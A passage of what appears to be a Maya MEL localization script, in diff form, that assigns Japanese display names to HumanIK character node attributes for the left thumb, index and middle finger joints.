"LeftHandThumb1MaxRLimitEnablez", "左手親指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2", "左手親指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2T", "左手親指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Tx", "左手親指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Ty", "左手親指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Tz", "左手親指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2R", "左手親指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Rx", "左手親指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Ry", "左手親指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Rz", "左手親指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2S", "左手親指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Sx", "左手親指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Sy", "左手親指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2Sz", "左手親指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2RotateOrder", "左手親指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2RotateAxis", "左手親指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2RotateAxisx", "左手親指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2RotateAxisy", "左手親指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2RotateAxisz", "左手親指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2JointOrient", "左手親指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2JointOrientx", "左手親指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2JointOrienty", "左手親指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2JointOrientz", "左手親指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimit", "左手親指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimitx", "左手親指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimity", "左手親指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimitz", "左手親指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimit", "左手親指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimitx", "左手親指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimity", "左手親指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimitz", "左手親指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimitEnablex", "左手親指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimitEnabley", "左手親指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MinRLimitEnablez", "左手親指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimitEnablex", "左手親指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimitEnabley", "左手親指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb2MaxRLimitEnablez", "左手親指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3", "左手親指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3T", "左手親指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Tx", "左手親指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Ty", "左手親指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Tz", "左手親指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3R", "左手親指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Rx", "左手親指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Ry", "左手親指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Rz", "左手親指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3S", "左手親指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Sx", "左手親指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Sy", "左手親指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3Sz", "左手親指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3RotateOrder", "左手親指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3RotateAxis", "左手親指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3RotateAxisx", "左手親指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3RotateAxisy", "左手親指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3RotateAxisz", "左手親指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3JointOrient", "左手親指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3JointOrientx", "左手親指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3JointOrienty", "左手親指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3JointOrientz", "左手親指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimit", "左手親指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimitx", "左手親指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimity", "左手親指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimitz", "左手親指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimit", "左手親指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimitx", "左手親指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimity", "左手親指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimitz", "左手親指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimitEnablex", "左手親指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimitEnabley", "左手親指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MinRLimitEnablez", "左手親指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimitEnablex", "左手親指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimitEnabley", "左手親指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb3MaxRLimitEnablez", "左手親指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4", "左手親指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4T", "左手親指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Tx", "左手親指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Ty", "左手親指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Tz", "左手親指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4R", "左手親指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Rx", "左手親指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Ry", "左手親指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Rz", "左手親指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4S", "左手親指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Sx", "左手親指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Sy", "左手親指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4Sz", "左手親指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4RotateOrder", "左手親指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4RotateAxis", "左手親指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4RotateAxisx", "左手親指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4RotateAxisy", "左手親指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4RotateAxisz", "左手親指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4JointOrient", "左手親指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4JointOrientx", "左手親指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4JointOrienty", "左手親指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4JointOrientz", "左手親指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimit", "左手親指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimitx", "左手親指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimity", "左手親指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimitz", "左手親指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimit", "左手親指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimitx", "左手親指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimity", "左手親指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimitz", "左手親指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimitEnablex", "左手親指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimitEnabley", "左手親指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MinRLimitEnablez", "左手親指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimitEnablex", "左手親指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimitEnabley", "左手親指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandThumb4MaxRLimitEnablez", "左手親指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1", "左手人差指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1T", "左手人差指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Tx", "左手人差指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Ty", "左手人差指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Tz", "左手人差指 1 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1R", "左手人差指 1 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Rx", "左手人差指 1 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Ry", "左手人差指 1 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Rz", "左手人差指 1 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1S", "左手人差指 1 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Sx", "左手人差指 1 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Sy", "左手人差指 1 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1Sz", "左手人差指 1 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1RotateOrder", "左手人差指 1 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1RotateAxis", "左手人差指 1 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1RotateAxisx", "左手人差指 1 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1RotateAxisy", "左手人差指 1 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1RotateAxisz", "左手人差指 1 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1JointOrient", "左手人差指 1 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1JointOrientx", "左手人差指 1 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1JointOrienty", "左手人差指 1 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1JointOrientz", "左手人差指 1 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimit", "左手人差指 1 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimitx", "左手人差指 1 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimity", "左手人差指 1 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimitz", "左手人差指 1 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimit", "左手人差指 1 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimitx", "左手人差指 1 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimity", "左手人差指 1 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimitz", "左手人差指 1 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimitEnablex", "左手人差指 1 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimitEnabley", "左手人差指 1 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MinRLimitEnablez", "左手人差指 1 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimitEnablex", "左手人差指 1 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimitEnabley", "左手人差指 1 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex1MaxRLimitEnablez", "左手人差指 1 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2", "左手人差指 2" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2T", "左手人差指 2 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Tx", "左手人差指 2 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Ty", "左手人差指 2 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Tz", "左手人差指 2 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2R", "左手人差指 2 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Rx", "左手人差指 2 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Ry", "左手人差指 2 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Rz", "左手人差指 2 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2S", "左手人差指 2 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Sx", "左手人差指 2 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Sy", "左手人差指 2 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2Sz", "左手人差指 2 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2RotateOrder", "左手人差指 2 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2RotateAxis", "左手人差指 2 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2RotateAxisx", "左手人差指 2 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2RotateAxisy", "左手人差指 2 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2RotateAxisz", "左手人差指 2 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2JointOrient", "左手人差指 2 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2JointOrientx", "左手人差指 2 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2JointOrienty", "左手人差指 2 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2JointOrientz", "左手人差指 2 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimit", "左手人差指 2 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimitx", "左手人差指 2 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimity", "左手人差指 2 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimitz", "左手人差指 2 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimit", "左手人差指 2 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimitx", "左手人差指 2 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimity", "左手人差指 2 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimitz", "左手人差指 2 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimitEnablex", "左手人差指 2 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimitEnabley", "左手人差指 2 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MinRLimitEnablez", "左手人差指 2 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimitEnablex", "左手人差指 2 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimitEnabley", "左手人差指 2 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex2MaxRLimitEnablez", "左手人差指 2 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3", "左手人差指 3" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3T", "左手人差指 3 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Tx", "左手人差指 3 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Ty", "左手人差指 3 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Tz", "左手人差指 3 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3R", "左手人差指 3 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Rx", "左手人差指 3 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Ry", "左手人差指 3 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Rz", "左手人差指 3 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3S", "左手人差指 3 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Sx", "左手人差指 3 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Sy", "左手人差指 3 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3Sz", "左手人差指 3 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3RotateOrder", "左手人差指 3 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3RotateAxis", "左手人差指 3 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3RotateAxisx", "左手人差指 3 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3RotateAxisy", "左手人差指 3 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3RotateAxisz", "左手人差指 3 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3JointOrient", "左手人差指 3 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3JointOrientx", "左手人差指 3 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3JointOrienty", "左手人差指 3 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3JointOrientz", "左手人差指 3 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimit", "左手人差指 3 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimitx", "左手人差指 3 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimity", "左手人差指 3 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimitz", "左手人差指 3 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimit", "左手人差指 3 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimitx", "左手人差指 3 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimity", "左手人差指 3 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimitz", "左手人差指 3 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimitEnablex", "左手人差指 3 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimitEnabley", "左手人差指 3 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MinRLimitEnablez", "左手人差指 3 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimitEnablex", "左手人差指 3 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimitEnabley", "左手人差指 3 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex3MaxRLimitEnablez", "左手人差指 3 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4", "左手人差指 4" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4T", "左手人差指 4 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Tx", "左手人差指 4 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Ty", "左手人差指 4 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Tz", "左手人差指 4 Tz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4R", "左手人差指 4 R" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Rx", "左手人差指 4 Rx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Ry", "左手人差指 4 Ry" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Rz", "左手人差指 4 Rz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4S", "左手人差指 4 S" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Sx", "左手人差指 4 Sx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Sy", "左手人差指 4 Sy" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4Sz", "左手人差指 4 Sz" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4RotateOrder", "左手人差指 4 の回転順序" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4RotateAxis", "左手人差指 4 の回転軸" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4RotateAxisx", "左手人差指 4 の回転軸x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4RotateAxisy", "左手人差指 4 の回転軸y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4RotateAxisz", "左手人差指 4 の回転軸z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4JointOrient", "左手人差指 4 のジョイント方向" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4JointOrientx", "左手人差指 4 のジョイント方向x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4JointOrienty", "左手人差指 4 のジョイント方向y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4JointOrientz", "左手人差指 4 のジョイント方向z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimit", "左手人差指 4 の最小回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimitx", "左手人差指 4 の最小回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimity", "左手人差指 4 の最小回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimitz", "左手人差指 4 の最小回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimit", "左手人差指 4 の最大回転値" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimitx", "左手人差指 4 の最大回転値x" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimity", "左手人差指 4 の最大回転値y" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimitz", "左手人差指 4 の最大回転値z" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimitEnablex", "左手人差指 4 の最小回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimitEnabley", "左手人差指 4 の最小回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MinRLimitEnablez", "左手人差指 4 の最小回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimitEnablex", "左手人差指 4 の最大回転値 X の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimitEnabley", "左手人差指 4 の最大回転値 Y の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandIndex4MaxRLimitEnablez", "左手人差指 4 の最大回転値 Z の有効化" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1", "左手中指 1" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1T", "左手中指 1 T" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Tx", "左手中指 1 Tx" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Ty", "左手中指 1 Ty" ); +setAttrNiceNameResource( "HIKCharacterNode", "LeftHandMiddle1Tz", "左手中指 1 Tz" ); 